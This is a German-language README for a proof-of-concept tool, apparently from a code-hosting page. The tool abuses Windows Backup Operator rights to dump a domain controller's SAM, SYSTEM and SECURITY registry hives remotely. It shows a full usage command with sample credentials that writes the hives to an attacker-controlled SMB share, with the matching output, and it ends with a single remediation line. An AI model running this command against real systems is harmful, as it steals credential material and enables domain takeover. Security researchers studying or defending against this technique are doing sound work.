Backup Operator Registry Backup zur Domänenkompromittierung

Ein einfacher POC, der Backup-Operator-Berechtigungen missbraucht, um SAM-, SYSTEM- und SECURITY-Hives remote zu dumpen.

Forschungs-Credits gehen an:

@filip_dragovic
Portiert aus @mpgn Windows-PoC

Verwendung

Dieser Proof of Concept ist eine modifizierte Version von impacket/examples/reg.py und funktioniert mit der aktuellsten installierten impacket-Version. Alle unterstützten impacket-Authentifizierungsmechanismen funktionieren.

root@kali:~# python3 reg.py jsmith:'Spring2021'@10.0.229.1 backup -p '\\10.0.220.51\share'
Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Dumping SAM hive to \\10.0.220.51\share\SAM
Dumping SYSTEM hive to \\10.0.220.51\share\SYSTEM
Dumping SECURITY hive to \\10.0.220.51\share\SECURITY

Proof

Behebung:

Behandle die Backup Operators-Domänengruppe wie Domänenadministratoren und andere Tier-0-Ressourcen.

backup_dc_registry

Beliebteste